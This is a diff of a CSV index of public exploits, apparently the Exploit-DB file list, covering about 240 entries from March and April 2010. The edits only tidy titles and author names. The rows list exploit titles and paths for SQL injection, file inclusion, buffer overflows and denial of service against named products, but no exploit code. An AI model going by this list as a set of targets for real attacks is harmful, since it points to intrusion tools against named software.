 11957,platforms/windows/local/11957.py,"Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow",2010-03-30,b0telh0,windows,local,0
-11958,platforms/windows/local/11958.py,"ASX to MP3 Converter Version 3.0.0.100 => Local stack overflow exploit",2010-03-30,"Hazem Mofeed",windows,local,0
+11958,platforms/windows/local/11958.py,"ASX to MP3 Converter 3.0.0.100 - Local stack overflow exploit",2010-03-30,"Hazem Mofeed",windows,local,0
 11959,platforms/windows/dos/11959.pl,"Xilisoft Blackberry Ring Tone Maker .wma Local Crash",2010-03-30,anonymous,windows,dos,0
 11960,platforms/php/webapps/11960.txt,"KimsQ 040109 Multiple Remote File Include Vulnerability",2010-03-30,mat,php,webapps,0
-11962,platforms/php/webapps/11962.txt,"Satellite-X 4.0 (Auth Bypass) SQL Injection Vulnerability",2010-03-30,indoushka,php,webapps,0
+11962,platforms/php/webapps/11962.txt,"Satellite-X 4.0 (Auth Bypass) SQL Injection Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
 11963,platforms/php/webapps/11963.txt,"Huron CMS 8 11 2007 (Auth Bypass) SQL Injection Vulnerability",2010-03-30,mat,php,webapps,0
-11964,platforms/multiple/webapps/11964.pl,"Easy-Clanpage <= v2.1 SQL Injection Exploit",2010-03-30,"Easy Laster",multiple,webapps,0
-11965,platforms/php/webapps/11965.txt,"kora Reinstall Admin Information Vulnerability",2010-03-30,indoushka,php,webapps,0
+11964,platforms/multiple/webapps/11964.pl,"Easy-Clanpage <= 2.1 - SQL Injection Exploit",2010-03-30,"Easy Laster",multiple,webapps,0
+11965,platforms/php/webapps/11965.txt,"kora Reinstall Admin Information Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
 11966,platforms/windows/dos/11966.py,"Easy Icon Maker .ico File Reading Crash",2010-03-30,ItSecTeam,windows,dos,0
-11967,platforms/php/webapps/11967.txt,"Snipe Photo Gallery by Pass Remote Upload Vulnerability",2010-03-30,indoushka,php,webapps,0
-11968,platforms/php/webapps/11968.txt,"Hosting-php-dynamic (Auth Bypass) Vulnerability",2010-03-30,"indoushka  ",php,webapps,0
+11967,platforms/php/webapps/11967.txt,"Snipe Photo Gallery by Pass Remote Upload Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
+11968,platforms/php/webapps/11968.txt,"Hosting-php-dynamic (Auth Bypass) Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
 11973,platforms/windows/remote/11973.txt,"CompleteFTP Server Directory Traversal",2010-03-30,zombiefx,windows,remote,0
 11974,platforms/windows/remote/11974.py,"HP OpenView NNM OvWebHelp.exe CGI Topic overflow",2010-03-30,"S2 Crew",windows,remote,0
-11975,platforms/windows/dos/11975.rb,"Free MP3 CD Ripper 2.6 0-day",2010-03-30,"Richard Leahy",windows,dos,0
+11975,platforms/windows/dos/11975.rb,"Free MP3 CD Ripper 2.6 (0day)",2010-03-30,"Richard Leahy",windows,dos,0
 11976,platforms/windows/local/11976.php,"Free MP3 CD Ripper 2.6 (wav) 1day stack buffer overflow PoC exploit",2010-03-31,mr_me,windows,local,0
 11977,platforms/windows/dos/11977.pl,"CDTrustee .BAK Local Crash POC",2010-03-31,anonymous,windows,dos,0
 11978,platforms/php/webapps/11978.txt,"Joomla Component DW Graph Local File Inclusion",2010-03-31,"Chip d3 bi0s",php,webapps,0
-11979,platforms/php/webapps/11979.pl,"Centreon IT & Network Monitoring v2.1.5 - Injection SQL",2010-03-31,"Jonathan Salwan",php,webapps,0
-11980,platforms/php/webapps/11980.txt,"Easy-Clanpage <= v2.2 multiple SQL Injection + Exploit",2010-03-31,"Easy Laster",php,webapps,0
+11979,platforms/php/webapps/11979.pl,"Centreon IT & Network Monitoring 2.1.5 - Injection SQL",2010-03-31,"Jonathan Salwan",php,webapps,0
+11980,platforms/php/webapps/11980.txt,"Easy-Clanpage <= 2.2 - multiple SQL Injection + Exploit",2010-03-31,"Easy Laster",php,webapps,0
 11981,platforms/windows/local/11981.py,"WM Downloader 3.0.0.9 (.asx) Local Buffer Overflow",2010-03-31,b0telh0,windows,local,0
 11983,platforms/php/webapps/11983.txt,"Joomla Component com_actions SQL Injection Vulnerability",2010-03-31,"DevilZ TM",php,webapps,0
-11984,platforms/windows/dos/11984.py,"Optimal Archive v1.38 (.zip) 0day SEH PoC",2010-03-31,TecR0c,windows,dos,0
+11984,platforms/windows/dos/11984.py,"Optimal Archive 1.38 - (.zip) SEH PoC 0day",2010-03-31,TecR0c,windows,dos,0
 11985,platforms/windows/dos/11985.sh,"BitComet <= 1.19 Remote DoS Exploit",2010-03-31,"Pierre Nogues",windows,dos,0
 11986,platforms/linux/remote/11986.py,"OpenDcHub 0.8.1 Remote Code Execution Exploit",2010-03-31,"Pierre Nogues",linux,remote,0
 11987,platforms/windows/dos/11987.txt,"Escape From PDF",2010-03-31,"Didier Stevens",windows,dos,0
-11989,platforms/php/webapps/11989.txt,"Faweb_2 Mullti Vulnerability",2010-03-30,"indoushka ",php,webapps,0
+11989,platforms/php/webapps/11989.txt,"Faweb_2 Mullti Vulnerability",2010-03-30,"indoushka salah el ddine",php,webapps,0
 11990,platforms/php/webapps/11990.txt,"Joomla Component com_network SQL Injection Vulnerability",2010-04-01,"DevilZ TM",php,webapps,0
 11991,platforms/php/webapps/11991.txt,"Joomla Component com_tour SQL Injection Vulnerability",2010-04-01,"DevilZ TM",php,webapps,0
 11992,platforms/php/webapps/11992.txt,"Joomla Component com_trading Blind SQL Injection Vulnerability",2010-04-01,"DevilZ TM",php,webapps,0
 11993,platforms/php/webapps/11993.txt,"Simply Sites RGV Local File Inclusion",2010-04-01,"DevilZ TM",php,webapps,0
-11994,platforms/php/webapps/11994.txt,"DynPG CMS v4.1.0 Multiple Vulnerabilities",2010-04-01,eidelweiss,php,webapps,0
+11994,platforms/php/webapps/11994.txt,"DynPG CMS 4.1.0 - Multiple Vulnerabilities",2010-04-01,eidelweiss,php,webapps,0
 11995,platforms/php/webapps/11995.txt,"ALPHA CMS Local File Inclusion Vulnerability",2010-04-01,eidelweiss,php,webapps,0
 11996,platforms/php/webapps/11996.txt,"Joomla Component EContent Local File Inclusion",2010-04-01,"Chip D3 Bi0s",php,webapps,0
 11997,platforms/php/webapps/11997.txt,"Joomla Component Jvehicles Local File Inclusion",2010-04-01,"Chip D3 Bi0s",php,webapps,0
 11998,platforms/php/webapps/11998.txt,"Joomla Component User Status Local File Inclusion",2010-04-01,"Chip D3 Bi0s",php,webapps,0
 11999,platforms/php/webapps/11999.txt,"Joomla Component webERPcustomer Local File Inclusion",2010-04-01,"Chip D3 Bi0s",php,webapps,0
-12000,platforms/windows/dos/12000.pl,"Kwik Pay Payroll v4.10.3 .mdb Crash PoC",2010-04-01,anonymous,windows,dos,0
-12001,platforms/windows/dos/12001.pl,"Kwik Pay Payroll v4.10.3 .zip DoS",2010-04-01,anonymous,windows,dos,0
-12002,platforms/php/webapps/12002.txt,"Musicbox Version 3.3 Upload Shell Vulnerability",2010-04-01,indoushka,php,webapps,0
+12000,platforms/windows/dos/12000.pl,"Kwik Pay Payroll 4.10.3 - (.mdb) Crash PoC",2010-04-01,Anonymous,windows,dos,0
+12001,platforms/windows/dos/12001.pl,"Kwik Pay Payroll 4.10.3 - (.zip) DoS",2010-04-01,Anonymous,windows,dos,0
+12002,platforms/php/webapps/12002.txt,"Musicbox 3.3 - Upload Shell Vulnerability",2010-04-01,"indoushka salah el ddine",php,webapps,0
 12003,platforms/php/webapps/12003.txt,"onepound Shop / CMS XSS and SQL Injection Vulnerabilities",2010-04-01,Valentin,php,webapps,0
-12004,platforms/php/webapps/12004.txt,"PHP Jokesite V 2.0 exec Command Exploit",2010-04-01,indoushka,php,webapps,0
+12004,platforms/php/webapps/12004.txt,"PHP Jokesite V 2.0 exec Command Exploit",2010-04-01,"indoushka salah el ddine",php,webapps,0
 12005,platforms/php/webapps/12005.txt,"Profi Einzelgebots Auktions System Blind SQL Injection Vulnerability",2010-04-01,"Easy Laster",php,webapps,0
-12006,platforms/php/webapps/12006.txt,"Simple Calculator by Peter Rekdal Sunde Remote Upload Vulnerability",2010-04-01,indoushka,php,webapps,0
+12006,platforms/php/webapps/12006.txt,"Simple Calculator by Peter Rekdal Sunde Remote Upload Vulnerability",2010-04-01,"indoushka salah el ddine",php,webapps,0
 12007,platforms/php/webapps/12007.txt,"SimpNews 2.16.2 and Below Multiple SQL Injection Vulnerabilities",2010-04-01,NoGe,php,webapps,0
 12008,platforms/windows/local/12008.pl,"TugZip 3.5 Zip File Buffer Overflow",2010-04-01,Lincoln,windows,local,0
 12009,platforms/php/webapps/12009.html,"CMS Made Simple 1.7 CSRF Vulnerability",2010-04-02,"pratul agrawal",php,webapps,0
@@ -10964,11 +10964,11 @@ id,file,description,date,author,platform,type,port
 12015,platforms/php/webapps/12015.txt,"Joomla Component com_menu SQL Injection Vulnerability",2010-04-02,"DevilZ TM",php,webapps,0
 12016,platforms/php/webapps/12016.txt,"Joomla Component com_ops SQL Injection Vulnerability",2010-04-02,"DevilZ TM",php,webapps,0
 12017,platforms/php/webapps/12017.txt,"Joomla Component com_football SQL Injection Vulnerability",2010-04-02,"DevilZ TM",php,webapps,0
-12018,platforms/php/webapps/12018.txt,"DynPG CMS v4.1.0 Multiple Vulnerability (popup.php and counter.php)",2010-04-02,eidelweiss,php,webapps,0
-12019,platforms/php/webapps/12019.txt,"velhost uploader script v1.2 Local File Inclusion Vulnerability",2010-04-02,cr4wl3r,php,webapps,0
-12021,platforms/php/webapps/12021.txt,"68kb Knowledge Base v1.0.0rc3 admin CSRF",2010-04-02,"Jelmer de Hen",php,webapps,0
-12022,platforms/php/webapps/12022.txt,"68kb Knowledge Base v1.0.0rc3 edit main settings CSRF",2010-04-02,"Jelmer de Hen",php,webapps,0
-12024,platforms/windows/local/12024.php,"Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit",2010-04-03,mr_me,windows,local,0
+12018,platforms/php/webapps/12018.txt,"DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)",2010-04-02,eidelweiss,php,webapps,0
+12019,platforms/php/webapps/12019.txt,"Velhost Uploader Script 1.2 - Local File Inclusion Vulnerability",2010-04-02,cr4wl3r,php,webapps,0
+12021,platforms/php/webapps/12021.txt,"68kb Knowledge Base 1.0.0rc3 - Admin CSRF",2010-04-02,"Jelmer de Hen",php,webapps,0
+12022,platforms/php/webapps/12022.txt,"68kb Knowledge Base 1.0.0rc3 - Edit Main Settings CSRF",2010-04-02,"Jelmer de Hen",php,webapps,0
+12024,platforms/windows/local/12024.php,"Zip Unzip 6.0 - (.zip) 0day stack buffer overflow PoC exploit",2010-04-03,mr_me,windows,local,0
 12025,platforms/windows/dos/12025.php,"Dualis 20.4 (.bin) Local Daniel Of Service",2010-04-03,"Yakir Wizman",windows,dos,0
 12026,platforms/php/webapps/12026.txt,"phpscripte24 Vor und Rückwärts Auktions System Blind SQL Injection Vulnerability",2010-04-03,"Easy Laster",php,webapps,0
 12027,platforms/windows/dos/12027.py,"DSEmu 0.4.10 (.nds) Local Crash Exploit",2010-04-03,l3D,windows,dos,0
@@ -10982,19 +10982,19 @@ id,file,description,date,author,platform,type,port
 12035,platforms/windows/local/12035.pl,"ZipScan 2.2c SEH",2010-04-03,"Lincoln and corelanc0d3r",windows,local,0
 12036,platforms/hardware/webapps/12036.txt,"Edimax AR-7084GA Router CSRF + Persistent XSS Exploit",2010-04-03,l3D,hardware,webapps,0
 12037,platforms/php/webapps/12037.txt,"Joomla component jp_jobs SQL Injection Vulnerability",2010-04-03,Valentin,php,webapps,0
-12038,platforms/php/webapps/12038.txt,"Advanced Management For Services Sites Bypass Create And Download SQL Backup Vulnerability",2010-04-04,indoushka,php,webapps,0
-12039,platforms/multiple/webapps/12039.txt,"QuickEStore 6.1 Backup Dump Vulnerability",2010-04-04,indoushka,multiple,webapps,0
+12038,platforms/php/webapps/12038.txt,"Advanced Management For Services Sites Bypass Create And Download SQL Backup Vulnerability",2010-04-04,"indoushka salah el ddine",php,webapps,0
+12039,platforms/multiple/webapps/12039.txt,"QuickEStore 6.1 Backup Dump Vulnerability",2010-04-04,"indoushka salah el ddine",multiple,webapps,0
 12041,platforms/php/webapps/12041.txt,"Solutive CMS SQL Injection Vulnerability",2010-04-04,"Th3 RDX",php,webapps,0
-12042,platforms/php/webapps/12042.txt,"x10 mirco blogging V121 SQL Injection Vulnerability",2010-04-04,ITSecTeam,php,webapps,0
-12043,platforms/php/webapps/12043.html,"Prediction League 0.3.8 CSRF Create Admin User Exploit",2010-04-04,indoushka,php,webapps,0
-12044,platforms/windows/remote/12044.c,"Easy Ftp Server v1.7.0.2 MKD Remote Post-Authentication BoF Exploit",2010-04-04,x90c,windows,remote,0
+12042,platforms/php/webapps/12042.txt,"x10 mirco blogging 121 - SQL Injection Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
+12043,platforms/php/webapps/12043.html,"Prediction League 0.3.8 CSRF Create Admin User Exploit",2010-04-04,"indoushka salah el ddine",php,webapps,0
+12044,platforms/windows/remote/12044.c,"Easy Ftp Server 1.7.0.2 - MKD Remote Post-Authentication BoF Exploit",2010-04-04,x90c,windows,remote,0
 12045,platforms/php/webapps/12045.html,"MunkyScripts Simple Gallery SQL Injection Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
-12047,platforms/php/webapps/12047.html,"nodesforum v1.033 Remote File Inclusion Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
-12048,platforms/php/webapps/12048.html,"ttCMS v5 Remote File Inclusion Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
+12047,platforms/php/webapps/12047.html,"nodesforum 1.033 - Remote File Inclusion Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
+12048,platforms/php/webapps/12048.html,"ttCMS 5.0 - Remote File Inclusion Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
 12049,platforms/php/webapps/12049.html,"Uiga Proxy Remote File Inclusion Vulnerability",2010-04-04,ItSecTeam,php,webapps,0
 12050,platforms/php/webapps/12050.txt,"MassMirror Uploader Multiple RFI Exploit",2010-04-04,cr4wl3r,php,webapps,0
 12051,platforms/windows/local/12051.php,"PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit",2010-04-04,"Yakir Wizman",windows,local,0
-12052,platforms/php/webapps/12052.txt,"SAGU-PRO v1.0 Multiple Remote File Include Vulnerability",2010-04-04,mat,php,webapps,0
+12052,platforms/php/webapps/12052.txt,"SAGU-PRO 1.0 - Multiple Remote File Include Vulnerability",2010-04-04,Mat,php,webapps,0
 12053,platforms/windows/local/12053.py,"ZipCentral (.zip) SEH Exploit",2010-04-04,TecR0c,windows,local,0
 12054,platforms/php/webapps/12054.txt,"Joomla Component redSHOP Local File Inclusion Vulnerability&#9830;",2010-04-04,NoGe,php,webapps,0
 12055,platforms/php/webapps/12055.txt,"Joomla Component redTWITTER Local File Inclusion Vulnerability",2010-04-04,NoGe,php,webapps,0
@@ -11006,22 +11006,22 @@ id,file,description,date,author,platform,type,port
 12061,platforms/php/webapps/12061.txt,"Facil-CMS (LFI/RFI) Vulnerability",2010-04-04,eidelweiss,php,webapps,0
 12062,platforms/php/webapps/12062.txt,"Joomla Component com_ranking SQL Injection Vulnerability",2010-04-04,"DevilZ TM",php,webapps,0
 12065,platforms/php/webapps/12065.txt,"Joomla Component JInventory Local File Inclusion",2010-04-05,"Chip D3 Bi0s",php,webapps,0
-12066,platforms/php/webapps/12066.txt,"Joomla Component com_svmap v1.1.1 LFI Vulnerability",2010-04-05,Vrs-hCk,php,webapps,0
+12066,platforms/php/webapps/12066.txt,"Joomla Component com_svmap 1.1.1 - LFI Vulnerability",2010-04-05,Vrs-hCk,php,webapps,0
 12067,platforms/php/webapps/12067.txt,"Joomla Component com_shoutbox LFI Vulnerability",2010-04-05,Vrs-hCk,php,webapps,0
 12068,platforms/php/webapps/12068.txt,"Joomla Component com_loginbox LFI Vulnerability",2010-04-05,Vrs-hCk,php,webapps,0
 12069,platforms/php/webapps/12069.txt,"Joomla Component com_bca-rss-syndicator LFI Vulnerability",2010-04-05,Vrs-hCk,php,webapps,0
 12070,platforms/php/webapps/12070.txt,"Joomla Magic Updater (com_joomlaupdater) LFI Vulnerability",2010-04-05,Vrs-hCk,php,webapps,0
 12071,platforms/php/webapps/12071.txt,"jevoncms (LFI/RFI) Multiple Vulnerabilities",2010-04-05,eidelweiss,php,webapps,0
-12072,platforms/windows/dos/12072.pl,"MyVideoConverter v2.15 Local DoS",2010-04-05,anonymous,windows,dos,0
-12073,platforms/windows/dos/12073.pl,"MP3 Wav Editor v3.80 .mp3 Local DoS",2010-04-05,anonymous,windows,dos,0
-12074,platforms/windows/dos/12074.pl,"Portable AVS DVD Authoring v1.3.3.51 Local Crash PoC",2010-04-05,R3d-D3v!L,windows,dos,0
+12072,platforms/windows/dos/12072.pl,"MyVideoConverter 2.15 - Local DoS",2010-04-05,Anonymous,windows,dos,0
+12073,platforms/windows/dos/12073.pl,"MP3 Wav Editor 3.80 - .mp3 Local DoS",2010-04-05,Anonymous,windows,dos,0
+12074,platforms/windows/dos/12074.pl,"Portable AVS DVD Authoring 1.3.3.51 - Local Crash PoC",2010-04-05,R3d-D3v!L,windows,dos,0
 12075,platforms/php/webapps/12075.txt,"LionWiki 3.X (index.php) Shell Upload Vulnerability",2010-04-05,ayastar,php,webapps,0
 12076,platforms/php/webapps/12076.pl,"ilchClan <= 1.0.5 (cid) SQL Injection Vulnerability & Exploit",2010-04-05,"Easy Laster",php,webapps,0
 12077,platforms/php/webapps/12077.txt,"Joomla Component News Portal com_news Local File Inclusion Vulnerability",2010-04-06,AntiSecurity,php,webapps,0
 12078,platforms/php/webapps/12078.txt,"Joomla Freestyle FAQ Lite Component 1.3 com_fss (faqid) SQL Injection",2010-04-06,"Chip D3 Bi0s",php,webapps,0
-12079,platforms/windows/dos/12079.pl,"Microsoft Office (2010 beta) Communicator SIP denial of service Exploit",2010-04-06,indoushka,windows,dos,0
+12079,platforms/windows/dos/12079.pl,"Microsoft Office (2010 beta) Communicator SIP denial of service Exploit",2010-04-06,"indoushka salah el ddine",windows,dos,0
 12080,platforms/windows/dos/12080.txt,"Foxit Reader <= 3.2.1.0401 Denial Of Service Exploit",2010-04-06,juza,windows,dos,0
-12081,platforms/windows/dos/12081.php,"Jzip v1.3 (.zip) Unicode buffer overflow 0day PoC",2010-04-06,mr_me,windows,dos,0
+12081,platforms/windows/dos/12081.php,"Jzip 1.3 (.zip) - Unicode Buffer Overflow PoC (0day)",2010-04-06,mr_me,windows,dos,0
 12082,platforms/php/webapps/12082.txt,"Joomla Component Saber Cart com_sebercart Local File Inclusion Vulnerability",2010-04-06,AntiSecurity,php,webapps,0
 12083,platforms/php/webapps/12083.txt,"Joomla Component J!WHMCS Integrator com_jwhmcs Local File Inclusion Vulnerability",2010-04-06,AntiSecurity,php,webapps,0
 12084,platforms/php/webapps/12084.txt,"Joomla Component Juke Box com_jukebox Local File Inclusion Vulnerability",2010-04-06,AntiSecurity,php,webapps,0
@@ -11038,18 +11038,18 @@ id,file,description,date,author,platform,type,port
 12095,platforms/linux/dos/12095.txt,"Virata EmWeb R6.0.1 Remote Crash Vulnerability",2010-04-06,"Jobert Abma",linux,dos,0
 12096,platforms/windows/dos/12096.txt,"Juke 4.0.2 DoS Multiple Files",2010-04-06,anonymous,windows,dos,0
 12097,platforms/php/webapps/12097.txt,"Joomla Component XOBBIX [prodid] SQL Injection Vulnerability",2010-04-06,AntiSecurity,php,webapps,0
-12098,platforms/php/webapps/12098.txt,"XSS Vulnerability in NextGEN Gallery Wordpress Plugin",2010-04-06,"Alejandro Rodriguez",php,webapps,0
+12098,platforms/php/webapps/12098.txt,"Wordpress Plugin NextGEN Gallery - XSS Vulnerability",2010-04-06,"Alejandro Rodriguez",php,webapps,0
 12100,platforms/asp/webapps/12100.txt,"Espinas CMS SQL Injection Vulnerability",2010-04-07,"Pouya Daneshmand",asp,webapps,0
 12101,platforms/php/webapps/12101.txt,"Joomla Component aWiki com_awiki Local File Inclusion",2010-04-07,"Angela Zhang",php,webapps,0
 12102,platforms/php/webapps/12102.txt,"Joomla Component VJDEO com_vjdeo 1.0 LFI Vulnerability",2010-04-07,"Angela Zhang",php,webapps,0
 12103,platforms/multiple/local/12103.txt,"Local Glibc shared library (.so) <= 2.11.1 exploit",2010-04-07,Rh0,multiple,local,0
-12104,platforms/windows/dos/12104.py,"Anyzip (.zip) v1.1 0day Poc (SEH)",2010-04-07,ItSecTeam,windows,dos,0
-12105,platforms/php/webapps/12105.txt,"Free Image & File Hosting Upload Vulnerability",2010-04-07,indoushka,php,webapps,0
-12106,platforms/php/webapps/12106.txt,"Istgah for Centerhost Mullti Vulnerability",2010-04-07,indoushka,php,webapps,0
+12104,platforms/windows/dos/12104.py,"Anyzip 1.1 - (.zip) Poc (SEH) 0day",2010-04-07,ItSecTeam,windows,dos,0
+12105,platforms/php/webapps/12105.txt,"Free Image & File Hosting Upload Vulnerability",2010-04-07,"indoushka salah el ddine",php,webapps,0
+12106,platforms/php/webapps/12106.txt,"Istgah for Centerhost Mullti Vulnerability",2010-04-07,"indoushka salah el ddine",php,webapps,0
 12107,platforms/php/webapps/12107.txt,"Plume CMS 1.2.4 Multiple Local File Inclusion Vulnerabilities",2010-04-07,eidelweiss,php,webapps,0
 12108,platforms/php/webapps/12108.txt,"Joomla Component com_articles SQL Injection Vulnerability",2010-04-08,"Pratul Agrawal",php,webapps,0
 12109,platforms/multiple/dos/12109.txt,"Multiple Vendor librpc.dll Signedness Error Remote Code Execution Vulnerability",2010-04-08,ZSploit.com,multiple,dos,0
-12110,platforms/windows/dos/12110.pl,"CompleteFTP v3.3.0 - Remote Memory Consumption DoS",2010-04-08,"Jonathan Salwan",windows,dos,0
+12110,platforms/windows/dos/12110.pl,"CompleteFTP 3.3.0 - Remote Memory Consumption DoS",2010-04-08,"Jonathan Salwan",windows,dos,0
 12111,platforms/php/webapps/12111.txt,"Joomla Component Webee Comments Local File Inclusion Vulnerability",2010-04-08,AntiSecurity,php,webapps,0
 12112,platforms/php/webapps/12112.txt,"Joomla Component Realtyna Translator Local File Inclusion Vulnerability",2010-04-08,AntiSecurity,php,webapps,0
 12113,platforms/php/webapps/12113.txt,"Joomla Component AWDwall-Joomla LFI & SQLi [cbuser] Vulnerability",2010-04-08,AntiSecurity,php,webapps,0
@@ -11065,7 +11065,7 @@ id,file,description,date,author,platform,type,port
 12124,platforms/php/webapps/12124.txt,"joomla component huruhelpdesk SQL injection Vulnerability",2010-04-09,bumble_be,php,webapps,0
 12128,platforms/php/webapps/12128.txt,"GarageSales Remote Upload Vulnerability",2010-04-09,saidinh0,php,webapps,0
 12130,platforms/linux/local/12130.py,"Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation",2010-04-09,"Jon Oberheide",linux,local,0
-12131,platforms/windows/dos/12131.py,"Tembria Server Monitor v5.6.0 Denial of Service",2010-04-09,Lincoln,windows,dos,0
+12131,platforms/windows/dos/12131.py,"Tembria Server Monitor 5.6.0 - Denial of Service",2010-04-09,Lincoln,windows,dos,0
 12132,platforms/php/webapps/12132.pl,"Joomla Component com_agenda 1.0.1 (id) SQL Injection Vulnerability",2010-04-09,v3n0m,php,webapps,0
 12133,platforms/multiple/webapps/12133.txt,"Asset Manager 1.0 Shell Upload Vulnerability",2010-04-09,"Shichemt Alen and NeT_Own3r",multiple,webapps,0
 12134,platforms/php/webapps/12134.txt,"MMHAQ CMS sqli vulnersbility",2010-04-10,s1ayer,php,webapps,0
@@ -11073,7 +11073,7 @@ id,file,description,date,author,platform,type,port
 12136,platforms/php/webapps/12136.txt,"Joomla Component com_properties[aid] SQL Injection Vulnerability",2010-04-10,c4uR,php,webapps,0
 12137,platforms/php/webapps/12137.txt,"joomla component allvideos BLIND SQL injection Vulnerability",2010-04-10,bumble_be,php,webapps,0
 12138,platforms/php/webapps/12138.txt,"Joomla Com_Ca SQL Injection Vulnerability",2010-04-10,DigitALL,php,webapps,0
-12139,platforms/php/webapps/12139.txt,"Kiasabz Article News CMS Magazine SQL Injection Vulnerability",2010-04-10,"indoushka ",php,webapps,0
+12139,platforms/php/webapps/12139.txt,"Kiasabz Article News CMS Magazine SQL Injection Vulnerability",2010-04-10,"indoushka salah el ddine",php,webapps,0
 12140,platforms/php/webapps/12140.php,"xBtiTracker Remote SQL Injection Vulnerability",2010-04-11,InATeam,php,webapps,0
 12141,platforms/php/webapps/12141.txt,"MediaInSpot CMS LFI Vulnerability",2010-04-11,"Amoo Arash",php,webapps,0
 12142,platforms/php/webapps/12142.txt,"Joomla Component TweetLA! Local File Inclusion Vulnerability",2010-04-11,AntiSecurity,php,webapps,0
@@ -11089,13 +11089,13 @@ id,file,description,date,author,platform,type,port
 12152,platforms/windows/remote/12152.pl,"Trellian FTP Client PASV BOF exploit",2010-04-11,zombiefx,windows,remote,0
 12153,platforms/php/webapps/12153.txt,"joomla component education SQL injection Vulnerability",2010-04-11,bumble_be,php,webapps,0
 12154,platforms/php/dos/12154.txt,"vBulletin ""Cyb - Advanced Forum Statistics"" DOS",2010-04-10,"Andhra Hackers",php,dos,0
-12155,platforms/php/webapps/12155.txt,"AuroraGPT V4 RCE Vulnerability",2010-04-11,"Amoo Arash",php,webapps,0
+12155,platforms/php/webapps/12155.txt,"AuroraGPT 4.0 - RCE Vulnerability",2010-04-11,"Amoo Arash",php,webapps,0
 12156,platforms/windows/remote/12156.txt,"IE/Opera source code viewer Null Character Handling",2010-04-11,"Daniel Correa",windows,remote,0
 12157,platforms/php/webapps/12157.txt,"OnePC mySite Management Software SQL Injection Vulnerability",2010-04-11,Valentin,php,webapps,0
-12158,platforms/php/webapps/12158.py,"Elite Gaming Ladders <= v3.5 (match) SQL injection",2010-04-11,"Easy Laster",php,webapps,0
+12158,platforms/php/webapps/12158.py,"Elite Gaming Ladders <= 3.5 - (match) SQL injection",2010-04-11,"Easy Laster",php,webapps,0
 12159,platforms/php/webapps/12159.txt,"Joomla Component Multi-Venue Restaurant Menu Manager SQL Injection Vulnerability",2010-04-11,Valentin,php,webapps,0
 12160,platforms/php/webapps/12160.txt,"HotNews 0.7.2 Remote File Inclusion",2010-04-11,team_elite,php,webapps,0
-12161,platforms/windows/dos/12161.pl,"Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC",2010-04-11,LiquidWorm,windows,dos,0
+12161,platforms/windows/dos/12161.pl,"Aladdin eToken PKI Client 4.5 - Virtual File Handling Unspecified Memory Corruption PoC",2010-04-11,LiquidWorm,windows,dos,0
 12162,platforms/php/webapps/12162.txt,"Joomla component mv_restaurantmenumanager SQL injection Vulnerability",2010-04-11,Sudden_death,php,webapps,0
 12163,platforms/php/webapps/12163.txt,"Worldviewer.com CMS SQL Injection Vulnerability",2010-04-12,"41.w4r10r aka AN1L",php,webapps,0
 12164,platforms/php/webapps/12164.txt,"YaPig v0.94.0u Remote File Inclusion Vulnerability",2010-04-12,JIKO,php,webapps,0
@@ -11123,39 +11123,39 @@ id,file,description,date,author,platform,type,port
 12186,platforms/php/webapps/12186.pl,"vBulletin DOS - all version",2010-04-12,"Jim Salim",php,webapps,0
 12187,platforms/php/webapps/12187.txt,"Vieassociative Openmairie 1.01 beta (RFI/LFI) Multiple File Include Vulnerability",2010-04-12,cr4wl3r,php,webapps,0
 12188,platforms/multiple/dos/12188.txt,"VMware Remote Console e.x.p build-158248 - format string vulnerability",2010-04-12,"Alexey Sintsov",multiple,dos,0
-12189,platforms/windows/local/12189.php,"PHP 6.0 Dev str_transliterate() Buffer overflow - NX + ASLR Bypass",2010-04-13,"Matteo Memelli",windows,local,0
+12189,platforms/windows/local/12189.php,"PHP 6.0 Dev str_transliterate() Buffer overflow - NX + ASLR Bypass",2010-04-13,ryujin,windows,local,0
 12190,platforms/php/webapps/12190.txt,"Joomla Component Jvehicles (aid) SQL Injection Vulnerability",2010-04-13,"Don Tukulesto",php,webapps,0
 12191,platforms/php/webapps/12191.txt,"Joomla Component com_jp_jobs 1.2.0 (id) SQL Injection Vulnerability",2010-04-13,v3n0m,php,webapps,0
 12192,platforms/php/webapps/12192.txt,"Blog System <= 1.5 Multiple Vulnerabilities",2010-04-13,cp77fk4r,php,webapps,0
 12193,platforms/php/webapps/12193.txt,"Openurgence vaccin 1.03 (RFI/LFI) Multiple File Include Vulnerability",2010-04-13,cr4wl3r,php,webapps,0
 12194,platforms/php/webapps/12194.txt,"Police Municipale Open Main Courante 1.01beta (RFI/LFI) Multiple File Include Vulnerability",2010-04-13,cr4wl3r,php,webapps,0
 12195,platforms/php/webapps/12195.rb,"joelz bulletin board <= 0.9.9rc3 multiple SQL Injection & Exploit",2010-04-13,"Easy Laster",php,webapps,0
-12197,platforms/asp/webapps/12197.txt,"Mp3 MuZik Data Base Download Vulnerability",2010-04-13,indoushka,asp,webapps,0
-12198,platforms/php/webapps/12198.txt,"Games Script (Galore) Backup Dump Vulnerability",2010-04-13,indoushka,php,webapps,0
-12199,platforms/asp/webapps/12199.txt,"My School Script Data Base Download Vulnerability",2010-04-13,indoushka,asp,webapps,0
+12197,platforms/asp/webapps/12197.txt,"Mp3 MuZik Data Base Download Vulnerability",2010-04-13,"indoushka salah el ddine",asp,webapps,0
+12198,platforms/php/webapps/12198.txt,"Games Script (Galore) Backup Dump Vulnerability",2010-04-13,"indoushka salah el ddine",php,webapps,0
+12199,platforms/asp/webapps/12199.txt,"My School Script Data Base Download Vulnerability",2010-04-13,"indoushka salah el ddine",asp,webapps,0
 12200,platforms/php/webapps/12200.txt,"Joomla Component QPersonel SQL Injection Vulnerability",2010-04-13,Valentin,php,webapps,0
